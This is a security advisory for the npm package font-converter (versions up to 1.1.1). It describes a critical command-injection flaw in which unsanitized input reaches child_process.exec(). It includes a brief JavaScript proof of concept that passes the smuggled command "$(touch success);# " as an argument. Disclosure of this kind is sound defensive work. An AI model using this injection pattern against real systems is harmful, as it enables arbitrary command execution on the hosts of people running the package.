GHSA-g2c3-vwff-m3xrCriticalCVSS 9.8

Font-Converter Vulnerable to Arbitrary Command Injection

Published
August 29, 2022
Last Modified
April 22, 2024

🔗 CVE IDs covered (1)

📋 Description

Overview

font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)

All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.

PoC

var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
    new PUT(x, x, x, x);
} catch (e) {
    console.log(e);
}

🎯 Affected products1

  • npm/font-converter:<= 1.1.1

🔗 References (4)